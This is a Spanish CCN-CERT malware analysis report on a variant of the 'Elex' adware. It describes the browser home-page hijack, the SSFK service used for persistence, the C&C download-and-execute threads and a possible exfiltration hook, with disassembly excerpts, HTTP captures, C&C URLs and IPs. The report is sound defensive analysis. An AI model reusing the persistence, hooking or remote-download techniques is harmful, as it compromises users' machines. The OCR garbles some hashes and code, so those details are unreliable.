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CENTRO CRIPTOLOGICO NAGIONAL

LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos,
rechazando expresamente cualquier tipo de garantia implicita que se pueda encontrar
relacionada. En ningin caso, el Centro Criptoldgico Nacional puede ser considerado
responsable del dano directo, indirecto, fortuito o extraordinario derivado de la utilizacién de la
informacidn y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional,
bajo las sanciones establecidas en las leyes, la reproduccidn parcial o total de este documento
por cualquier medio o procedimiento, comprendidos la reprografia y el tratamiento informdtico,
y la distribucion de ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes
de Seguridad de la Informacién del Centro Criptolégico Nacional, CCN. Este servicio se
cre6 en el afno 2006 como CERT Gubernamental Nacional espanol y sus funciones
guedan recogidas en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia,
el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador del
Esquema Nacional de Seguridad, modificado por el RD 951/2015, de 23 de octubre.

De acuerdo a todas ellas, el CCN-CERT tiene responsabilidad en ciberataques
sobre sistemas clasificados y sobre sistemas de las Administraciones PUblicas y de
empresas y organizaciones de interés estratégico para el pais. Su misién, por tanto, es
contribuir a la mejora de la ciberseguridad espanola, siendo el centro de alerta y
respuesta nacional que coopere y ayude a responder de forma rdpida y eficiente a los
ciberataques y a afrontar de forma activa las ciberamenazas.
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2. RESUMEN EJECUTIVO

El presente documento recoge el andlisis de una variante del cddigo daiino
"Elex".

La principal caracteristica del mismo es redirigir la URL de la pdgina de inicio de
los navegadores de Internet a otra que estd incrustada en el propio cddigo danino. En
el caso analizado se trata del buscador “myseacrh123.com”.

Ademds, lleva a cabo la instalacion en el sistema del servicio “SFFK”, que serd el
encargado de ejecutar el binario que hace esta redireccién y de permanecer a la
escucha del servidor de mando y confrol (C&C) a la espera de recibir la orden para
realizar descargas adicionales y ejecutarlas en el sistema.

“Elex” es un tipo de "Adware” capaz de mostrar al usuario publicidad mientras
éste navega por pdginas de Internet.

El contenido de la publicidad que muestra puede ser desde cupones de ofertas
hasta sugerencias para instalarse software nuevo como, por ejemplo, barras de
navegacion/buUsquedas de terceros, etc. Todo esto se realiza a través del mencionado
servicio “SSFK".

A continuacién se muestra una captura en la que se puede observar la
diferencia entre un navegador con el cédigo dainino en ejecucién (a la izquierda) y
otro sin él (a la derecha):

/ [) mysearch123 *
C | [) www.mysearch123.com/?type=hp&its=14435255108&z=21

LaWeb Imagenes Videos Noticias

Inicio Normas Certificacion Acreditacion Formacion

CCN-CERT

EI CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad ¢
Informacion del Centro Criptolégico Nacional. Este servicio se cre6 a finales
T — afio 2006 como CERT gubemamental espafiol, y sus funciones que
S adenie recogidas en el capitulo VIl del RD 32010, de 8 de enero, regulador
Esquema Nacional de Seguridad. Este texto legal, en su articulo 37 sefial: v

MK »

llustracién 1. Muestra de sistema comprometido (izg.) y no comprometido (der.)

El cédigo daiino llega al sistema del usuario en forma de instalador de tipo
“NSIS" y se encarga de extraer e instalar los archivos necesarios para su ejecuciéon en el
sistema.

Segun VirusTotal, 10 de 55 motores antivirus detectan el cédigo analizado como
danino, suponiendo un riesgo medio/alto si se dispone de alguna solucién antivirus.

Sin embargo, los archivos que instala en el sistema tienen tasas de deteccion
mucho mds altas suponiendo un riesgo bajo si se dispone de alguna solucién antivirus.
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3. CARACTERISTICAS

A continuacidén se muestran algunas propiedades estdticas del fichero
analizado.

La firma del instalador del cédigo danino es la siguiente:

MDS5 db35731¢c7211b38de54a19a9013e087a

SHAT dbc04267d5c598911¢c71c97d0ed37cb160e80c86

llustracion 2. Lista de secciones y fecha de compilacién del cédigo danino

B4 pED 0.5 =] = =

File: el

Entrypeint: |000033E39 EP Section: |.text =1

File Offset: [000027E9 FirstBytes: [81EC,D3,02 | >

Linker Info: [33 Subsystem: [Win32GUI | > |
soft PiMP Stub soft FiMP 5 =

Multi Scan | Task "."iE'r'-.'EI'| Options | About I Exit |
[ Stayon top J ﬂ

llustracion 3. Detalles del cédigo danino

En este caso se ha detectado que el cddigo danino se distribuye dentro de un
instalador elaborado con la tecnologia de NSIS [1].

El cédigo danino analizado no presenta ninguna capa de cifrado/ofuscacion.
Tampoco se ha descubierto ninguna técnica de deteccidén de mdquinas virtuales o de

cualquier otro tipo destinada a dificultar el andlisis del mismo.

SIN CLASIFICAR



CCN-CERT ID-01/16

4
4
4
4
4
4
4
4
4

SIN CLASIFICAR

Informe de Cédigo Danino "Elex”

m m m

coN-cerT

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERTID-01/16 Informe de Cédigo Daiiino "Elex” CN- cerr

4. PROCEDIMIENTO DE INFECCION

4.1 Vectores de infeccion

El cédigo danino llega hasta el usuario por medio de descargas de terceros
como pueden ser barras de busqueda para navegadores, aceleradores de descarga,
pdginas de descarga masiva de aplicaciones, etc.

La forma mds habitual es que durante el proceso de instalacion estdndar de las
aplicaciones descargadas, el usuario no se percate de que se va a realizar la
instalacion de elementos adicionales entre los que se encuentra el cédigo danino.

Durante dicho proceso se suele dar al usuario la opcidn de llevar a cabo una
instalacion “réapida” o “personalizada”. En la mayoria de los casos, si se selecciona la
“personalizada” se ofrece la opcidn de no instalar el cédigo dafino.

Sin embargo, los autores de este tipo de aplicaciones son conscientes de que un
usuario medio no suele realizar instalaciones personalizadas, siendo éste un vector de
propagacién muy utilizado en este tipo de cddigos dafinos.

4.2 Interacciones con el sistema afectado

A continuacién se describe el proceso completo de infeccidon que lleva a cabo
el cédigo danino tras ser ejecutado

El instalador sélo contiene un archivo binario “SSFK.EXE" que es el encargado de
realizar la verdadera instalacién una vez ha sido extraido.

La firma de este nuevo binario es:

MD5 0826743ac2c3d8664d9f2031e38daf76

SHAT €40e8e91fa5101b0d9eé75478bcbbsachbd271334

Una vez ejecutado, “SSFK.EXE" crea el directorio “%ProgramfFiles%\SFK"y, a
continuacién, genera un identificador Unico de equipo a partir del niUmero de serie del
disco duro.

Este identificador lo almacena en un archivo de texto fipo “ini” con el nombre
"“SFK.ini" dentro del directorio de instalacion.

Tras ello contacta con el C&C para informarle sobre el nuevo sistema
comprometido, enviando el identificador del mismo y el nombre del instalador con el
que ha readlizado la infeccion.

En la siguiente imagen se muestra tanto el proceso de creacion del archivo
“SFK.ini" como la conexién con el C&C:
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il d
call
add
push
call
push
lea
push
call
lea
call
cmp
lea
cmounb
call
lea
call
cmp
lea
cmounb
call
call
push
lea
push

CERT ID-01/16

ecx, ecx
sub_23686E
esp, 18h
BFABh
esi ;
ebx
eax, [esp+68Ch+PathHame]

eax

ds:CreateDirectory¥

ecx, [esp#688h+var 6608]
ObtenldUnico
[esp+68Bh+var_64C], 8

ecx, [esp+G88h+var_668]

ecx, [esp+G8Bh+var_660]
Crea_ini

ec®, [esp+688h+var_648]
OntenMombreE jecutableEjecutado
[esp+688h+var_634], B

ec®, [esp+688h+var_648]

ec®, [esp+688h+var_648]
crea_ptid

ContactaConC_C

edi

eax, [esp+68Ch+Filename]

eax

Sleep
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duMilliseconds
1pSecurityattributes

1pPathHame

coN-cert

http://xa.xingcloud.com/vl/sof-everything /262929407 198339 5

nSize

1pFilename

llustracion 5. Creacién de identificativos Unicos y envio de datos al C&C

NOTA: en la seccidén "6 Conexiones de red" se puede ver con mds detalle la url de
conexién, los datos enviados y la respuesta obtenida.

push
lea

push
call
call
push
push
lea

push
push
push
push
push
push
push
push
pop

push
push
push
nov

push
push
push
call

Una vez establecida la conexién con el C&C se realizard una copia del propio
“SSFK.exe" en “Z%ProgramfFiles%\SFK"

Después procede a redlizar la instalaciéon del fichero “SSFK.exe™” como un servicio
del sistema y posteriormente arranca dicho servicio.

En las siguientes imdgenes se pueden observar estas acciones:

eax

eax, [esp+E9Bh+Filename]
eax

ds:CopyFileW
Instalaservicio

ebx

1

ecx, [esp+6208h+var_648]

3 "CvwProgram FilesWA\SFHAANSSFE . exe”

; "c:\Elex\bin\SSFK.exe"

llustracion é. Copia de “SSFK.exe” al directorio de instalacion

esi

esi

offset Dependencies
esi

esi
[ebp+1pBinaryPathHame]
1

2

eax

eax

18h

BF B1FFh

eax, offset ServiceName
eax

eax

ebx

ds:CreateServicel

1pPassword
1pServiceStartHame
1pbependencies
1pdwTagld
1pLoadOrderGroup
1pBinaryPathHame
duwErrorControl

duitartType
duServiceType
dubesiredfccess
“S5FK*
1pbisplayHame
1pserviceHame
hSCHanager

llustracién 7. Creacién del servicio con el cédigo danino

Cuando se ejecuta el cédigo danino desde el servicio, lo primero que hace es
crear dos hilos para realizar tareas de actualizacion y telemetria con diferentes C&C.
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El primero de ellos se limita a conectarse al C&C para crear dos ficheros en el
directorio de instalacién con nombre: “run” y “heartbeat”. Este hilo permanecerd
activo mientras el servicio no se detenga y actualizard el contenido del fichero
“heartbeat” cada 4 horas.

Thread1 proc near : DATA XREF: EntradaServicio+150

IpihreadParameter~ dword ptr 8

push ebp

noy ebp, esp

and esp, OFFFFEFFSn

call Func1_Thread1_Obten_archivo_run

loc_3ANC22: ; CODE XREF: Thread1+18}j
call Func2_Threadi_obten_heartbeat

push 0DBBAOGRN ; duMilliseconds

3 260 minutos =~ & horas
call ds:Sleep
jnp short loc_3ANC22
Thread1 endp

llustracion 8. Cédigo ejecutado por el hilo 1

NOTA: en la seccién "6 Conexiones de red” se puede ver con mds detalle la url de
conexioén, los datos enviados y la respuesta obtenida.

El segundo hilo tiene como objetivo consultar cada 2 horas otro servidor de C&C
para comprobar si dispone de alguna actualizacién:

push eax
push offset aHttplp_soft365 ; "http://up.softdss.comfeverything/up?pti™...
push 1888h ; SizelnWords
push esi ; Dst
call _suprintf_s
add esp, 24h
mnov edx, esi ; http://up.soft365.con/everything/up?ptid=S5FK&sid=everything&l
lea ec%, [ebp+uvar_58]
call ObtenURLADescargar
mou byte ptr [ebp+var_u], BaAh
and [ebp+var_38], B
®xor eax, eax
push offset Dependencies ; void =
lea ecx, [ebp+var_ 48] ; int
mow [ebp+var_2C], 7
llustracién 9. Cédigo ejecutado por el hilo 2 (obtiene URL a descargar)
lea edx, |esp+YLn+var_5L]
cmovnb edx, [esp+9Ch+uvar 5C]
cmp [esp+?Ch+var_38], 8
lea ecx, [esp+2?Ch+var_LL]

cmovnb ecx, [esp+9Ch+uvar_hh]

call Descargaﬂrchihu_UrlMun

push 115Ch ; duMilliseconds
call edi ; Sleep

call sub_3A4223

xor eax, eax

push offset aPtid @ ;" o Aptid="

llustracion 10. Cédigo ejecutado por el hilo 2 (Descarga URL)
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lea eds, [ebp+StartupInfo]

push edx ; lpStartuplnfo

push ebx ; 1pCurrentDirectory
push ecx ; 1pEnvironment

push L428h ; duCreationFlags
push ebx ; bInheritHandles
push ebx ; 1pThreadattributes
push ebx ; 1pProcessattributes
lea ead, [ebp+lpCommandlLine]

cmovnb eax, [ebp+lpCommandlLine]

push eax ; 1pCommandLine

push ebx ; 1lpapplicationHdame
push edi ; hToken

nov [ebp+var_B4C], ecz

call ds:CreateProcessAsUsery

nou ebx, eax

llustracién 11. Cédigo ejecutado por el hilo 2 (Ejecuta la descarga)

Espera¥Repite: ; CODE XREF: Thread2+AcTj
push GDDDBAN ; duHilliseconds = 2 horas
call edi ; Sleep

imp obtenArchivoservidor
Thread? en l'.llp

llustracion 12. Cédigo ejecutado por el hilo 2 (Reintento cada 2 horas)

NOTA: en la seccién "6 Conexiones de red" se puede ver con mds detalle la url de
conexién, los datos enviados y la respuesta obtenida. |

Tras la creacién de los dos hilos, el servicio vuelca en el directorio de instalacion
un archivo comprimido que lleva dentro “%ProgramFiles%\SFK\Yrrehs.zipK”, extrae su
contenido en el mismo directorio de instalacién y ejecuta el archivo “"SFKEX.EXE".

La firma del cddigo danino para “SFKEX.EXE" es la siguiente:

MD5 3df1e90f7131bcae704afeé0b714098c

SHAT aa97b3418a0c903eebed160f97649310676374c1

La primera accidn redlizada por este binario es comprobar la existencia del
mutex:

“1001_Yrrehs_EX_]8]3[2["

Seguidamente comprueba la existencia de las claves “ts” y "“z" dentro del
archivo "SFK.ini" y, si no existen, las genera:

a) La clave "fs” es una marca de tiempo que se obtiene realizando una
llamada ala funcién de la CRT” __time32":
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push offset Default 1pDefault
push offset aTs ; ts™

push offset AppHame ; "teels_Y[s"™
call ebx ; GetPrivateProfileStringn

cmp [ebp+String], @

jnz short loc_1381B36

push [§] ; Time

call _ time32

push eax

push offset Format 5 d"

lea eax, [ebp+String]

push 1888h ; SizelnBytes
push eax ; DstBuf

call _sprintf_s

add esp, 14h

cmp [ebp+var_2228], 18h

lea eax, [ebp+lpFileHame]

cmovnb  eax, [ebp+lpFileHame]

push eax ; lpFileMame
1lea eax, [ebp+String]

push eax ; 1pString
push offset aTs ; ts™

push offset AppHame ; "teels_v[s"™
call esi ; WritePrivateProfileStringhn

llustracién 13. Creacidn de la clave “is”

b) La clave “z" es un identificador que se obtiene tras realizar una peticién HTTP
a la url http://www.mysearch123.com/logic/z.php:

cmovnb eax, [ebp+var_4d]

push ecx ; LPCSTR

push eax ; LPCSTR

push i} 5 LPUNKNOWH

call ds:URLDownloadToFilen ; "http://www.mysearch123.com/logic/z.php',8

cmp [ebp+var_14], 18h

1lea eax, [ebptuar_28] ; Obtiene un |archive 1lamado Z que contendra un id
cmovnb eax, [ebp+uar_28]

push 8 ; int

push eax ; char =

call __access

llustracién 14. Creacién de la clave “z”

NOTA: en la seccién “é Conexiones de red"” se puede ver con mds detalle la url de
conexién, los datos enviados y la respuesta obtenida.

A continuacion, el proceso"SFKEX.EXE"” carga la libreria “SFKEX.DLL" y modifica en
memoria las funciones “ReportURL"” y “UID"” para que usen la direccion URL del C&C vy
el identificativo Unico generado.

push Lebp+uar_229L] ; vold =
call _memmove_8

add esp, BCh

push offset aReporturl ; "ReportURL"
push edi ; hHodule
call ebx ; GetProcAddress

push 2fAh ; size_t
push offset aHttpXa_xingclo ; "http://xa.xingcloud.com/ul/sof-everythi™. ..
push eax ; void =
call _memmove 8

add esp, BCh

push offset allid ; "uIp
push edi : hHodule
call ebx ; GetProcAddress

push 1683h ; size t
moy [ebp+var_229C], eax

lea eax, [ebp+var_21B]

push a ; int
push eax ; void =
mou [ebp+var_21C], @

call _memset

add esp, BCh

cmp [ebp+var_2238], 16h

lea ecx, [ebp+var_22A4C]

llustracion 15. Parcheo de la funcién exportada de SFKEX.DLL “ReportURL”
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el sistema mediante el api “SetWindowHookExW" del sistema operativo.

coN-cert

A continuacién ejecuta una funcién de la libreria para realizar un hook global en

lea ecx, |ecx+H]
loc_1281CFB: ; CODE XREF: sub_12419@8+3F5]j
mov al, [ecx]
inc BCX
test al, al
jnz short loc_1241CF8
sub ec®, edx
push ecy ; size_t
lea eax, [ebp+uar_ 21C]
push eax ; void =
push [ebp+var_229C] ; volid =
call _memmove_8
add esp, BCh
moyw byte ptr [ebp+uar_4], 3
push offset aSethook ; "SetHook™
push edi ; hHodule
call ebx ; GetProcAddress
push offset ProcMame ; “"UnHook™
push edi ; hHodule
mou esi, eax
call ebx ; GetProcAddress
call esi
jmp short loc_1241D35
3 TTTTTTT esi=sfkex_SetHook
: 3ub 1241900

g =SUBROUTIMHNE

Stack view

18 88 B8 08

)8 88 88 88 sfkex_3etHook proc near

19 68 @8 g Push g
10 65 05 oo Push  OFf_62FA2820

misma para tener el control de los procesos que se inicien en el sistema.

nuch nffcat unlk AP2FAP2FhO

FDBE7S ©O0008000B0
FDBE7C BO0B8BABABA
FDEEO ©OOBODOOO

llustracion 16. Instalacion del hook global en el sistema mediante SFKEX.DLL

A continuacion se analizard esta libreria “SFKEX.DLL", cuya firma es la siguiente:

MD5 b1fc0d35c3ef49400ea5e96af?192ff7

SHAT | dbcc1223f29b298c49d0532ba2b3539794728ded

Lo primero que hace este coddigo daiino al cargarse en un proceso es resolver la
direccidon en memoria de la funcidon “CreateProcessW" y establecer un hook a la

cnp eax, 4
jnz short salida
push offset ProcHame ; “CreateProcessy”

push offset ModuleMame ; “Kernel32.dll"
call ds:-:GetModuleHandlel

push eax ; hHodule
call ds:GetProcAddress

mov CreteProcessW ORIGINAL, eax
call HookFuncion

mouv eax, 1

pop edi

pop esi

mou esp, ebp

pop ebp

retn BCh

llustracién 17. Hook a funcién “CreateProcessW”

Con el hook establecido, comprueba cada proceso para detectar si se
corresponde con algiun navegador, en cuyo caso, sustituye los pardmetros usados
para la inicializacion insertando en su lugar la URL del buscador “mysearch123.com” y
llamando a la funcién “CreateProcessW" original.
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Por Ultimo, durante el andlisis de “SFKEX.DLL" se ha localizado el cédigo de una
funcion de envio de datos asociada al hook de la funcién “CreateProcessW", que no
ha sido ejecutada por el mw durante el andlisis de la muestra. El andlisis de este
codigo revela que se puede realizar exfiltracion de informacién hacia su C&C desde
cualguier proceso inyectado. Aunque no se ha visto este comportamiento durante el
andlisis, existe un alto riesgo de que sea enviada informacién privada del usuario o del
sistema afectado.

En la siguiente imagen se puede ver el mencionado codigo que hace referencia
a un User-Agent especifico del cédigo danino “RookIE/1.0™:

push 5} ; duficcessType
lea edi, [ebp+lpszUrl]

cmovnb edi, [ebp+lpszUrl]

push offset szAgent ; "RookIE/1.8"
call InternetOpenfA

mou esi, eax

test esi, esi

jz short loc_12C023

push i} ; duwContext
push LABA0a6h ; dwFlags

push a ; dwHeadersLength
push a ; lpszHeaders
push edi ; lpszUrl

push esi ; hInternet
call InternetOpenUrlA

push esi ; hInternet

llustracion 18. Referencia User-Agent “RookIE”

5. PERSISTENCIA EN EL SISTEMA

Para garantizar su persistencia en el sistema el cddigo daiino realiza una copia
de si mismo en “%ProgramfFiles%\SFK\SSFK.exe"

Posteriormente registra un nuevo servicio en el sistema con el nombre “SSFK”
para que se inicie la ejecucion automdtica de ese fichero en cada arranque del

equipo.

L Services E@
Eile Action VNiew Help
= [EEc=HE > a0
& Services (Local) . Services (Local)

SSFK Name Description Status Startup Type Log On As =
& Security Accounts.,  The startup of this service signals other ...  Started Automatic Local Syste..

Hart the service 4, Security Center The WSCEVC (Windows Security Center...  Started Automatic (D.. Local Service
& Server Supports file, print, and named-pipe sh...  Started Automatic Local Syste...

Description: 4 Servicio de Googl.. Mantiene actualizado el software de Go... Automatic (0. Local Sy

System Agent Service <% Servicio de Googl.. Mantiene actualizads el software de Go... Manual Local Sy
% Shell Hardware De..  Provides notifications for AutoPlay har.,  Started Automatic Local Syste..
S Smart Card Manages access to smart cards read by .., Manual Local Service
%4 Smart Card Remo...  Allows the system to be configured te .. Manual Local Syste...
54 SNMP Trap Receives trap messages generated by lo.. Manual Local Service
4 Software Protection  Enables the download, installation and .. Started Automatic (... Metwork S...
£ SPP Notification 5. Provides Software Licensing activation ... Started Manual Local Service
% S5DP Discovery Discovers networked devices and servic...  Started Manual Local Service
e onemagmisemee  Auomate Loy S
& Superfetch Maintains and improves system perfor.. Manual Local Syste.. ‘E‘
4 System Event Moti...  Monitors system events and notifies su..  Started Automatic Local Sy: B
54 Tablet PClnput Se.. Enables Tablet PC pen and ink functien... Manual Local Sy:
4 Task Scheduler Enables a user to configure and schedul..  Started Automatic Local Syste...
54 TCP/IP MetBIOS H... Provides support forthe NetBIOS over ... Started Automatic Local Service
<% Telephony Provides Telephony AP (TAPT) support ... IManual Metwork 5...
4 Themes Provides user experience theme manag...  Started Automatic Local Syste..
% Thread Ordering 5... Provides ordered execution for a group .. Manual Local Service .

Extended /(Standard/

llustracidén 19. Servicio instalado en el sistema
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6. CONEXIONES DE RED

Las conexiones contra el servidor C&C se realizan mediante el protocolo HTIP y

peticiones de tipo GET.

coN-cert

A continuacién se enumera la direccién (URL), el User-Agent y la APl de Windows

utilizados en cada una de las comunicaciones establecidas.

Direccion URL

USER-AGENT

APl USADA

xa.xingcloud.com

Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 6.1; Trident/4.0; SLCC2;
NET CLR 2.0.50727; .NET CLR
3.5.30729; Media Center PC 6.0)

URLDownloadToFileW (el
User-Agent dependerd
de la version de
Windows)

up.soft365.com

Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1; Trident/4.0;

InternetOpenUrlW (el
User-Agent es fipificado
por el propio cdédigo
danino)

mysearch123.com

URLDownloadToFile A

RooklIE/1.0

InternetOpenUrlA (el
User-Agent es ftipificado
por el propio cdédigo
danino)

Conexion 1:

Durante el proceso de instalacién, el binario “SSFK.exe" realiza la siguiente
peticion GET para registrar la mdaquina infectada:

http://xa.xingcloud.com/v4/sof-

everything/262929407_198339_5C7ACE482action0=xa.geoip&action1=visit&action2=inst
all.SSFK&updateO=ref,SSFK&update1=nation,us&update2=language,en&update3=versi

on,2.0.6.11
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Follow TCP Stream (tcp.stream eq 3) - @ x

-Stream Content

GET /wd/sof-everything/262929407 198339 S5C7ACE487
actionB=xa.geoip&actionl=visit&action2=install.SSFK&updateB=ref, SSFK&updatel=nation,us&upd
ate2=language,en&update3=version,2.8.6.11 HTTP/1.1

Accept: */%

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.®; SLCC2; .NET
CLR 2.08.50727; .NET CLR 3.5.30729; .NET CLR 3.0.308729; Media Center PC 6.0)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 208 0K

Server: nginx/0.7.67

Date: Mon, 82 Nov 2015 10:41:48 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3
xa-api-version: vé

Content-Encoding: gzip

56

........... VE.I,JV.R..V.Q0*..M..

N j = %.5UA V. .H

4]

| Entire conversation (787 bytes) - |
| Buscar " Guardar como || Imprimir |(_) ASCIl () EBCDIC () HexDump () CArrays (e Raw
| Ayuda | Filter Qut This Stream | | Cerrar

llustracién 20. Peticion HTTP para la instalaciéon

En la imagen se puede ver como se obtiene una respuesta codificada en
formato "gzip” que se guarda con el nombre “install”. La respuesta decodificada es la

siguiente:

{"stats":"ok","time":"0.98 ms","message":"store 4 action and 4 update "}

Conexion 2:

“SFFK.exe" continua realizando la siguiente peticion:

http://xa.xingcloud.com/v4/sof-

everything/262929407_198339_5C7ACE482action=visit.SSFK.heartbeat&update3=version

2.0.6.11

SIN CLASIFICAR




SIN CLASIFICAR
CCN-CERT ID-01/16 Informe de Cédigo Dajiino "Elex” coN-cert

. Follow TCP Stream (tcp.stream eq 84) [CEEE

-Stream Content

GET /v4/sof-everything/262929407_ 198339 SC7ACE4AS?
action=visit.SSFK.heartbeat&update3=version,2.0.6.11 HTTP/1.1

Accept: */%

Accept-Encoding: gzip, deflate

User-Agent: Mozillas4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET
CLR 2.0.50727; .NET CLR 32.5.30723; .NET CLR 2.0.30729; Media Center PC 5.0)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/l1.6.2

Date: Tue, 03 Nov 2015 12:11:11 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

Connection: keep-alive|

X-Powered-By: PHP/5.3.3
Xa-apl-version: v4

Content-Encoding: gzip

=15}

............ A

@....,9.70.0 -

R $..z....2d.7d. . 7. 1N T e A..3tc..m...3+

.~ JH..

(0]

‘ Entire conversation (1390 bytes) - ‘
| Qpuscar | EGuardar como | Eimprimir |() ASCIl () EBCDIC () HexDump () CArrays (s) Raw
| [@] Ayuda | ‘ [ Filter Qut This Stream H 3% Cerrar

llustracion 21. Peticiéon HTTP para el archivo “run”

Con la respuesta obtenida crea el archivo “run” con el siguiente contenido:

"

{"stats""ok","time":"0.90 ms","message":"store 2 action and 1 update "}

“SSFK.exe" genera otro archivo mds tras realizar la peticion:

http://xa.xingcloud.com/v4/sof-
everything/262929407_198339_5C7ACE482action=visit.SSFK.heartbeat
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34

. Follow TCP Stream (tcp.stream eq 84) i =

-Stream Content

GET /vd/sof-everything/262929407 198339 SCFACE4B7action=visit.SSFK.heartbeat HTTP/1.1
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozillas4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET
CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

Host: xa.xingcloud.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/l.6.2

Date: Tue, 03 Mov 2015 12:11:11 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

Connection: keep-alive

¥-Powered-By: PHP/5.3.3
xa-apl-version: vé

Content-Encoding: gzip

57

........... VEI, VLR, LVLQF, LM )

N To#. ... e T..Z...8H...

(o]

‘ Entire conversation (1390 bytes) - ‘
‘ Q,Buscar “ FE Guardar como H B imprimir | ASCIl () EBCDIC () HexDump () C Arrays (e) Raw
‘ (8] Ayuda | | €] Filter Qut This Stream H 3 Cerrar ‘

llustracidn 22. Peticiéon HTTP para el archivo “heartbeat”

Con la respuesta obtenida se crea el archivo “heartbeat” con el siguiente
contenido:

nn "

{"stats""ok","time":"0.91 ms","message":"store 2 action and 0 update "}

Conexion 3:

El servicio "SFKEX.exe" redliza la siguiente peticion para comprobar si tiene
alguna actualizaciéon que descargar:

http://up.soft365.com/everything/up?2ptid=SSFK&sid=everything&In=en_us&ver=2.0.6.11
&Uid=262929407_198339_5C7ACE48
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Follow TCP Stream (tcp.stream eq 5)

rStream Content:

GET /everything/up?

User-Agent: Mozillas4.0 (compatible; MSIE 8.08; Windows NT 5.1; Trident/4.0;
Host: up.soft365.com
Cache-Control: no-cache

HTTF/1.1 200 0K
Server: nginx
Date: Mon, 02 Nov 2015 10:43:48 GMT
Content-Type: text/html; charset=UTF-8
ransfer-Encoding: chunked
Connection: keep-alive

ary: Accept-Encoding

-Powered-By: PHP/5.2.14pl

1
e}
e}

ptid=SSFK&sid=everything&ln=en_us&ver=2.08.6.11&uid=262929407_ 198339 5C7ACE48 HTTR/1.1

| Entire conversation (458 bytes)

d

| Buscar " Guardar como " Imprimir [ ASCII () EBCDIC () HexDump () CArrays (e Raw

| Ayuda | Filter Out This Stream ‘ |

Cerrar I

llustracién 23. Peticion HTTP para recibir actualizaciones

En esta ocasidon no se ha recibido ninguna actualizacién por lo que no se crea

ningun tipo de archivo. Pero se reintentard cada 4 horas.

Conexion 4:

El servicio “SFKEX.exe" realiza la siguiente peticién para obtener el archivo “z"

gue contendrd un identificativo Unico:

http://www.mysearch123.com/logic/z.php
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. Follow TCP Stream (tcp.stream eq 481) (SR E R

-Stream Content

GET /logic/z.php HTTR/1.1

Accept: */%

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCCZ2; .NET
CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6£.0)

Host: www.mysearchl23.com

Connection: Keep-Alive

Cookie: nation=es

HTTP/1.1 200 0K

Server: Tengine/l.2.2

Date: Wed, 04 Nov 2015 17:15:56 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.14
Content-Encoding: gzip

3e

.......... KNI.035].H52M4. . LKMIJ40M7.2. 2. 4(L*7 . MIB.7*. . .+..%, ..

[a}

‘ Entire conversation (626 bytes) - |
‘ Q. Buscar ” FE Guardar comao ” B imprimir | ASCIl () EBCDIC () HexDump () C Arrays (s) Raw
‘ (B Ayuda | | [P Filter out This Stream H ¥ Cerrar |

llustracion 24. Peticién HTTP para el archivo “Z”

De nuevo se obtiene una respuesta codificada en formato “gzip” que se
guardard en el archivo “Z". La respuesta decodificada es la siguiente:

cdf8652b8e25a089febba05g5z0z3g0gbw7mdc3w2g

Conexién desconocida:

Existe otro tipo de conexidén de la que no ha sido posible capturar datos. Esta
hace uso del siguiente User-Agent:

User-Agent
RooklIE/1.0

Este dato ha sido extraido del andlisis realizado al cédigo encargado de
gestionar el hook a “CreateProcessW” y que se comentd al final del apartado
“Interacciones con el sistema”.

SIN CLASIFICAR



SIN CLASIFICAR

coN-cert

CCN-CERTID-01/16 Informe de Cédigo Daiiino "Elex”

6.1 Informacion del atacante
6.1.1 XA XINGCLOUD.COM

6.1.1.1 Direccion IP

Segun la informacién facilitada por Robtex.com, el dominio "xa.xingcloud.com”
se corresponde con las direccidnes IP 65.255.35.142, 65.255.35.143, 65.255.35.144,

65.255.35.150 y 69.28.58.55:

Base

xa.xingcloud.com|

Record Pref:

Name

S
o}

IP Number

.255.35.142

D
[l

.255.35.143

.255.35.144

xa.xingcloud.com

o
ol

.255.35.150

Reverse

Routes

65.255.32.0/20
C3 Los Angeles
C3-CUSTOMER-
HOSTSPACE

AS

n521853 CINET

S
o

.2B8.58.55

web55.alexiadns.com

xingcloud.com

.2B.5B.83

web&3.alexladns.com

69.28.48.0/20
69.28.58.0/24 C3
Los Angeles
CNA-LA-X-005

Loc

Herndon,
United
States

Los
Angeles,
United
States

NS

asial.akam.net

.100.175.64

a20-64.akam.net
asial.akam.net

95.100.175.0/24
Akamai Technologies
AKAMAI-PA Akamai
Technologies

as520940 USCOLO-
RADB-CUST-AS20940
Proxy AS regist

eurl.akam.net

.100.173.84

22B8-64.akam.net
eur2.akam.net

95.100.173.0/24
Akamai Technologies
AKAMAI-PA Akamai
Technologies

nsl-207.akam.net

193

.108.91.207

2l1-207.akam.net
nsl-207.akam.nec

nsl-228.akam.net

183

.108.91.228

al-228.akam.net
nsl-228.akam.net

193.108.21.0/24
SINGTEL SERVICES
